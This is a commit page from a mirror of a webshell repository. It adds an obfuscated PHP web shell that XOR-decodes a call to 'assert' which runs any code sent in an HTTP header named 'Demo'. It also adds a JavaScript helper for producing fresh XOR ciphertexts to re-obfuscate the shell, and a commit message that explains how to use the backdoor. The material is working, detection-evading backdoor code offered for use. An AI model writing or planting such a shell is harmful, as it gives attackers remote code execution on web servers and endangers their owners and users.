1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 04:41:28 +00:00

4 Commits

Author SHA1 Message Date
new
63bbb64fdb Add files via upload
upload this project zip
2023-04-08 19:41:36 +08:00
new
69cd1fe7e5 Delete ysrc directory
delete
2023-04-08 19:37:28 +08:00
new
9c35c31c1a Create 2023-04-08.js
2023-04-08.php 的密文 二次生成版本
2023-04-08 19:30:28 +08:00
new
a0960dbc8c Create 2023-04-08.php
乱码部分
$c(getallheaders()['Demo']);
get 提交时 增加headers的参数Demo,然后值为需要运行的代码

进行的是异或运算
'P\V,,(..EC]C<M3EcU kq)K%z6OE' 与 't?~KI\OB)+8"X(A6K|{L5L&J]kf~'
2023-04-08 19:25:09 +08:00
4 changed files with 27 additions and 1 deletions

19
php/2023-04-08.js Normal file
View File

@@ -0,0 +1,19 @@
// 此代码为2023-04-08.php 里的二次生成密文版,只需要替换异或的第一部分字符串就好了
// 感谢群友的无私奉献,我就直接拿来放到这里了
function xorDecrypt(cipherText, key) {
let plainText = '';
for (let i = 0; i < cipherText.length; i++) {
let cipherCharCode = cipherText.charCodeAt(i);
let keyCharCode = key.charCodeAt(i % key.length);
let plainCharCode = cipherCharCode ^ keyCharCode;
plainText += String.fromCharCode(plainCharCode);
}
return plainText;
}
let cipherText = "$c(getallheaders()['root'])";
// cipherText 可以修改起里面获取的内容
let key = String.raw`t?~KI\OB)+8"X(A6K|{L5L&J]kf~`;
let plainText = xorDecrypt(cipherText, key);
console.log(plainText);

8
php/2023-04-08.php Normal file
View File

@@ -0,0 +1,8 @@
<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c('P\V,,(..EC]C<M3EcU kq)K%z6OE'^'t?~KI\OB)+8"X(A6K|{L5L&J]kf~');
?>

BIN
xl7dev/WebShell-master.zip Normal file

Binary file not shown.